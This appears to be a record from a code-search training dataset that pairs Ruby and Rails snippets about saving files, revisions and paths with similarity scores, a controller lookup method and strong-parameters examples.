save_file_to_disk(contents, @node.abspath)\n stage_and_commit_file(@node.repo_base_path, @node.git_repo_path, message)\n flash[:notice] = \"Created New Version\"\n render :action => :file\n end", "def mark\n \"(echo #{revision} > #{configuration[:release_path]}/REVISION)\"\n end", "def regenerate_path!\n regenerate_path\n save\n end", "def save_file_to_disk(new_content, filepath) \n File.open(filepath, 'w') { |f| f.write(new_content)}\n end", "def save\n return if saved?\n self.saved = true\n original_path = interpolate_path(:original)\n stream.write_to(original_path)\n end", "def update_file_path\n if self.number_changed? || self.organization_id_changed?\n old_organization = Organization.find(self.organization_id_was)\n old_url_part = url_part_safe(self.number_was)\n \n old_path = File.join(old_organization.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = self.storage_path\n \n # If the organization folder does not exist, create it.\n if !File.directory?(self.organization.storage_path)\n FileUtils.mkdir_p self.organization.storage_path\n end\n \n FileUtils.mv old_path, new_path\n end\n end\n end", "def revision_file\n @root.join('REVISION')\n end", "def redo_path\n self.path = @temp_path\n end", "def update_path_history(old_path, revision)\n unless (history = history_for_revision(revision))\n create_path_history(old_path, revision)\n end\n end", "def save!; File.write @path, @data end", "def save_version\n if @saving_version\n @saving_version = nil\n rev = self.class.versioned_class.new\n clone_versioned_model(self, rev)\n rev.send(\"#{self.class.version_column}=\", send(self.class.version_column))\n rev.send(\"#{self.class.versioned_foreign_key}=\", id)\n rev.save\n end\n end", "def save\n File.open(path, 'w+') { |f| f.write(to_rb + \"\\n\") }\n end", "def mark\n \"echo #{revision} > #{configuration[:deploy_release]}/REVISION\"\n end", "def apply(revision)\n owner.with_revision(revision) do\n owner.force_path_changes_with_history(old_value, new_value)\n end\n end", "def save_to(path)\n (File.open(path, 'w') << to_s).close\n path\n end", "def save_to(path)\n (File.open(path, 'w') << to_s).close\n path\n end", "def update_file_path\n if self.season_changed? || self.year_changed?\n old_url_part = \"#{SEASON_PATH_NAMES.rassoc(self.season_was).first}-#{self.year_was}\"\n course_ids = self.assignments.pluck(:course_id).uniq\n \n course_ids.each do |course_id|\n course = Course.find(course_id)\n old_path = File.join(course.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = File.join(course.storage_path, self.url_part)\n \n FileUtils.mv old_path, new_path\n end\n end\n end\n end", "def download_revisions(child, revisions, new_path)\n revisions.each do |revision|\n download_url = retrieve_download_url revision, child.mimeType\n dl = @client.execute!(uri: download_url.to_s) # Download file\n save_revision child, revision, dl, new_path\n end\n end", "def save\n repository.create_contents(path, \"Upload #{path}\", content)\n end", "def save_revision(config)\n if config.fetch(:real_revision)\n @deployment.revision = config.fetch(:real_revision)\n @deployment.save!\n end\n rescue => e\n logger.important \"Could not save revision: #{e.message}\"\n end", "def path=(new_path)\n @path = Pathname.new(new_path).expand_path\n end", "def write(new_contents)\n\t\tconnection.write_file(full_path, new_contents)\n\tend", "def write(new_contents)\n\t\tconnection.write_file(full_path, new_contents)\n\tend", "def apply(revision)\n owner.with_revision(revision) do\n owner.force_path_changes\n end\n end", "def commit(newrevision, content_io=nil)\n if not get_indexfile_with_revision(newrevision).nil?\n raise \"Committing already-existing revision: #{newrevision} for #{@fname}\"\n end\n if content_io.nil?\n compress_file_lines = Deflate.deflate(File.read(@fname))\n else\n cont = content_io.read\n compress_file_lines = Deflate.deflate(cont)\n end\n\n # append current file fname to datafile\n length = IO.readlines(@datafile).size\n\n File.open(@datafile, \"a\") do |append|\n append.puts compress_file_lines\n end\n length = IO.readlines(@datafile).size - length\n\n # new version is the old version plus 1\n # new offset is the last length + last offset\n parse_last_line = parse_indexfile_line get_indexfile_with_line(-1)\n new_offset = parse_last_line[1] + parse_last_line[2]\n\n File.open(@indexfile, \"a\") do |f|\n index_write_row(f, newrevision.to_s,\n new_offset.to_s, length.to_s)\n end\n end", "def move_to( revision )\n\t\treturn self.repo.bookmark( self.name, rev: revision, force: true )\n\tend", "def save! path\n File.open(path, 'w') do |file|\n file.write(to_s)\n end\n end", "def save(volume, src_path)\n dest_path = dest_path_resolver.path(volume)\n fs.mkdir_p dest_path.parent\n linked = fs.ln_s src_path.relative_path_from(dest_path.parent), dest_path\n log(volume, linked ? \"added\" : \"already present\")\n end", "def save_path_with_own_path\n File.join(save_path, path)\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save\n pathname.open('w') { |file| file.write(data) }\n end", "def move\n display_change\n File.move(@real_path, new_path, false)\n end", "def regenerate_path\n self.current_path = self.path\n page.reload #forcing that do not take cached page object\n slug = nil if slug.blank?\n new_path = prepare_new_path\n \n self.previous_path = self.current_path\n write_attribute(:path, new_path)\n end", "def path\n @new_filename || @filename\n end", "def save_state_if_changed\n data = ''\n @state_mutex.synchronize do\n return if @current_version == @saved_version\n data = serialize\n @saved_version = @current_version\n @last_save_time = Time.now.to_f\n end\n\n @logger.info(\"Writing state at version #@saved_version to #@state_file\")\n tmpfile = @state_file + '.tmp'\n File.open(tmpfile, File::CREAT|File::EXCL|File::RDWR, 0600) do |f|\n f.write(data)\n end\n File.rename(tmpfile, @state_file)\n end", "def persist!\n ::File.write(self.path, Marshal.dump(self))\n rescue => e\n puts e.message\n exit\n end", "def update_with_revision\n store_revision do\n update_without_revision\n end\n end", "def commit_new_version\n @cocina = VersionService.open(identifier: cocina.externalIdentifier,\n significance: \"minor\",\n description: \"Descriptive metadata upload from #{original_filename}\",\n opening_user_name: ability.current_user.sunetid)\n end", "def save_file\n raise ArgumentError, 'Need a Path to save the file' if @path.nil?\n File.open(@path, 'w') do |f|\n f.write to_s\n end\n end", "def copy_to file\n file.puts \"# Revision #{@@outnum}<#{@num}>\" if $debug\n @newnum = @@outnum\n @@revision_number_mapping[@num] = @newnum\n @item[@item.type] = @newnum\n @@outnum += 1\n @item.copy_to file\n file.puts\n end", "def copy!(new_path)\n if exists?\n FileUtils.cp(path, new_path) unless new_path == path\n else\n File.open(new_path, \"wb\") { |f| f.write(read) }\n end\n end", "def undo \n if(@hasExecuted==true and (File::exist?(@newPath)))\n FileUtils.cp_r(@newPath, @ogPath)\n FileUtils::rm_r(@newPath)\n @hasExecuted=false\n end\n end", "def save_as(path)\n generate.save_as(path)\n end", "def save_as(path)\n generate.save_as(path)\n end", "def file_write(filepath, newcontent, backup=false)\n if self.file_exists?(filepath)\n self.cp filepath, \"#{filepath}-previous\" if backup\n end\n \n content = StringIO.new\n content.puts newcontent\n self.file_upload content, filepath\n end", "def save\n File.open(@path, \"w\") do |file|\n Psych.dump({version: VERSION}, file)\n doc = {}\n @stats.each_pair do |article_path, article_stat|\n doc[article_path] = {\n stat: article_stat,\n related: @related[article_path] || [],\n }\n end\n Psych.dump(doc, file)\n end\n end", "def update_from_svn(node)\n attribute_set(self.class.config.body_property, node.body) if node.body\n self.path = node.short_path\n \n node.properties.each do | attr, value |\n if self.respond_to?(\"#{attr}=\")\n self.__send__(\"#{attr}=\", value)\n end\n end\n \n if !valid?\n puts \"Invalid #{node.short_path} at revision #{node.revision}\"\n puts \" - \" + errors.full_messages.join(\".\\n - \")\n end\n \n save\n end", "def update_version_file(version)\n if File.exists?('VERSION')\n File.open('VERSION', 'w') { |f| f << version.to_s }\n modified_files << 'VERSION'\n end\n end", "def save_to(path)\n File.write(path, to_fdf)\n end", "def save\n if self.changed? || self.relationships_changed?\n self._version = current_version + 1\n super\n revise\n end\n end", "def execute\n if(@hasExecuted==false and (not File::exist?(@newPath)))\n FileUtils.cp(@ogPath, @newPath)\n @hasExecuted=true\n end\n end", "def revert_to(version_hash)\n tree = self.git.tree(version_hash)\n dir = tree.contents[0] # posts/\n data = dir.contents[0] # 6/\n data.contents.each do |f| # title.txt\n field = f.name.gsub(\".txt\",\"\")\n send(\"#{field.to_sym}=\", f.data)\n end\n save # hm, not sure if I want to do this\n end", "def move!(new_path)\n if exists?\n FileUtils.mv(path, new_path) unless File.identical?(new_path, path)\n else\n File.open(new_path, \"wb\") { |f| f.write(read) }\n end\n end", "def save_as(path)\n @wb.saveAs(java.io.File.new(path))\n end", "def save_without_revision\n save_without_revision!\n true\n rescue\n false\n end", "def to_s\n \"#{path} | #{native_revision_identifier}\"\n end", "def write_file(log)\n log[:files_revised] += 1\n File.open(@name, \"w\") {|f| f.write(@content) }\n end", "def store(new_file)\n @file = HesCloudStorage::HesCloudFile.new(new_file.to_file, :folder_path => @uploader.store_dir == \"uploads\" ? nil : @uploader.store_dir, :parent_model => @uploader.model.class)\n @file.save\n @path = @file.path\n\n true\n end", "def persistent_to_quicksave\n p_file = File.open(File.join([self.path, 'persistent.sfs']), 'r'){|f| f.readlines}\n File.open(File.join([self.path, 'quicksave.sfs']), 'w'){|f| f.write(p_file.join)}\n end", "def save_as!(filename)\n @new_filename = filename\n save!\n self\n end", "def save\n File.open(\"#{@config_dir}/#{REPOSITORY_FILE}\", 'w') { |f| @repository_xml.write(f, 2) }\n end", "def save_as(path, overwrite=true)\n write_file(overwrite, path)\n end", "def after_update\r\n\t\t\tself.children.each do |child|\r\n\t\t\t\tchild.path = self.path + '/' + child.filename\r\n\t\t\t\tchild.save\r\n\t\t\tend\r\n\t\tend", "def restore(path, rev)\n params = {\n 'rev' => rev.to_s\n }\n\n response = @session.do_post build_url(\"/restore/#{@root}#{format_path(path)}\", params)\n parse_response(response)\n end", "def save_release_note()\n puts \"Saving the release note of \" + @version + \" ...\"\n r_note = Nokogiri::HTML(open(@release_note_url))\n File.open(@r_note_filepath, \"w\") do |f|\n f.puts(r_note)\n end\n end", "def add_revision(path, ctype, msg)\n # FIXME: implement\n raise('not implemented')\n notify(EVENT_REV, path, ctype, msg)\n end", "def save!\n path = File.join(basedir, computed_filename)\n Rails.logger.info \"Saved GPX file as #{path}\"\n file = File.new(path, 'wb')\n file.write contents\n file.close\n file\n end", "def after_update\n\t\t\tself.children.each do |child|\n\t\t\t\tchild.path = self.path + '/' + child.filename\n\t\t\t\tchild.save\n\t\t\tend\n\t\tend", "def approve_revision revision\n current_revision.store if current_revision\n self.update_attribute(:revision_id, revision.id)\n end", "def s_to_file file_path_str, new_content_str='' \n File.open(file_path_str, \"w+\") { |f| f.write(new_content_str) }\n end", "def save\n entries = []\n entries << '#'\n entries << '# This file is managed by Chef, using the hostsfile cookbook.'\n entries << '# Editing this file by hand is highly discouraged!'\n entries << '#'\n entries << '# Comments containing an @ sign should not be modified or else'\n entries << '# hostsfile will be unable to guarantee relative priority in'\n entries << '# future Chef runs!'\n entries << '#'\n entries << ''\n entries += unique_entries.map(&:to_line)\n entries << ''\n\n contents = entries.join(\"\\n\")\n contents_sha = Digest::SHA512.hexdigest(contents)\n\n # Only write out the file if the contents have changed...\n if contents_sha != current_sha\n ::File.open(hostsfile_path, 'w') do |f|\n f.write(contents)\n end\n end\n end", "def save\n features = {\n \"@class\" => node.name\n }\n \n # We need to update\n if defined?(@rid) && [email protected]?\n features[\"@version\"] = @version\n odb.document.update(features.merge(attributes), rid: rid)\n @version += 1\n # we need to create\n else\n @rid = odb.command.execute(command_text: URI.encode_www_form_component(\"CREATE VERTEX #{node.name} CONTENT #{Oj.dump(attributes, mode: :compat)}\").gsub(\"+\", \"%20\"))[:result].first[:@rid]\n @version = 0\n end\n\n return self\n end", "def save path\n if File.exists?(path)\n puts \"#{path} already exists! Overwrite? y/n\"\n answer = gets\n unless answer == 'n' or answer == 'N'\n File.open(path, 'w') do |file|\n file.write(to_s)\n end\n end\n end\n end", "def save_to_file(path = nil)\n content\n file = Store::File.find_by(id: store_file_id)\n if !file\n raise \"No such file #{store_file_id}!\"\n end\n\n if !path\n path = Rails.root.join('tmp', filename)\n end\n ::File.open(path, 'wb') do |handle|\n handle.write file.content\n end\n path\n end", "def save_path_tree\n file = File.open(DATA_STORE, 'w')\n file.write path_tree.dump.to_json\n file.close\n end", "def copy_to_backup\n FileUtils.cp(@original_file_path, @new_file_path)\n end", "def save\n require 'git'\n git = Git.open('.', :log => Logger.new($stdout))\n git.pull # origin master\n write_version_to_file\n git.add(Version.path)\n git.commit(\"Bump version to #{self}.\")\n git.add_tag(self.to_s)\n git.push('origin', 'master', true) # including tags\n notify_campfire(git)\n rescue LoadError\n raise LoadError, \"You must have the git gem installed to make a release.\"\n end", "def save\n File.open(\"#{@config_dir}/#{REPOSITORY_FILE}\", 'w') { |f| @repository_xml.write_xml_to(f) }\n end", "def _path_new\n @_path_new ||= \"#{_name}/#{Time.now.strftime('%FT%T')}\"\n end", "def update_file_paths \n if self.url_part_was && self.url_part && self.short_name_changed?\n old_url_part = self.url_part\n old_ref_path = self.assignment_reference_repository.git_path\n set_url_part\n \n if old_url_part == self.url_part\n # Nothing changes\n return\n end\n \n self.save\n \n # Move reference repository folder if necessary\n if File.directory?(old_ref_path) \n new_ref_path = String.new(old_ref_path)\n new_ref_path[new_ref_path.index(File.basename(new_ref_path))..-1] = self.url_part\n \n FileUtils.mv old_ref_path, new_ref_path\n end\n \n # Move assignment repositories if necessary\n self.assignment_offerings.each do |assignment_offering|\n old_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n old_url_part)\n \n if File.directory?(old_assignment_repo_path)\n new_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n self.url_part) \n \n FileUtils.mv old_assignment_repo_path, new_assignment_repo_path\n end \n \n end\n end\n end", "def save(content_data, type, from, till)\n filename = DiffFile.compose_filename(type, from, till)\n path = case type\n when DiffFile::SNAPSHOT_TYPE\n File.join(@snapshots_path, till.year.to_s, filename)\n when DiffFile::ADDED_TYPE, DiffFile::REMOVED_TYPE\n File.join(@diffs_path, till.year.to_s, filename)\n else\n fail ArgumentError, \"Unrecognized type: #{type}\"\n end\n dirname = File.dirname(path)\n unless Dir.exist?(dirname)\n FileUtils.mkdir_p dirname\n end\n\n content_data.to_file(path)\n filename\n end", "def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end", "def save2file(path)\n File.write(path, save2blob())\n end", "def store(path, content, mode = 0o644)\n put_at(parse_path(path), content && repo.data_sha(content), mode)\n end", "def store!\n unlink! @original_path\n return nil unless @tempfile_path\n\n new_path = path\n FileUtils.mkdir_p File.dirname(new_path)\n result = if @tempfile_path =~ /\\/te?mp\\//\n FileUtils.move @tempfile_path, new_path\n else\n FileUtils.copy @tempfile_path, new_path\n end\n File.chmod 0644, new_path\n reset\n result\n end", "def write_file!\n file = File.new( path, \"w\")\n \n file.write(@source)\n file.close\n end", "def persist!\n erase_old_resource\n final_parent << source\n @persisted = true\n end", "def store(revision, partition, path, template, transaction)\n raise NotImplementedError\n end" ]
[ "0.67080194", "0.6460694", "0.6395696", "0.62750363", "0.62027496", "0.613611", "0.6088265", "0.60818374", "0.6037335", "0.59893435", "0.59877974", "0.5906096", "0.5877666", "0.5864992", "0.5855216", "0.58339995", "0.57689834", "0.5764363", "0.57262534", "0.57182896", "0.57036906", "0.56962496", "0.5660572", "0.5660572", "0.55931085", "0.55740464", "0.556958", "0.5568549", "0.55363405", "0.5536094", "0.5536094", "0.55356055", "0.5525586", "0.5519858", "0.55094004", "0.550739", "0.54756576", "0.5454575", "0.5454575", "0.5454575", "0.5454575", "0.5454575", "0.540602", "0.53882223", "0.5384013", "0.5381088", "0.5373701", "0.53650784", "0.5359939", "0.5353703", "0.5348652", "0.5347894", "0.534247", "0.533894", "0.5335534", "0.5335534", "0.5325834", "0.53186065", "0.53140247", "0.5297924", "0.52970934", "0.52948177", "0.5263404", "0.52618706", "0.5260269", "0.5254957", "0.52383995", "0.52383333", "0.5234874", "0.52328247", "0.523217", "0.5226909", "0.5226092", "0.5222728", "0.5218861", "0.521507", "0.5212005", "0.5210181", "0.5206501", "0.5199012", "0.5187659", "0.5187503", "0.5185705", "0.5184844", "0.51844233", "0.51826924", "0.5176921", "0.51747394", "0.51728225", "0.51708436", "0.51478803", "0.5147807", "0.51440823", "0.5144027", "0.5141649", "0.5117145", "0.51162905", "0.51064485", "0.51040906", "0.509874" ]
0.7127517
0
Use callbacks to share common setup or constraints between actions.
def set_game_instance @game_instance = GameInstance.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def game_instance_params params.require(:game_instance).permit(:game_round, :game_status, :user_status) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n 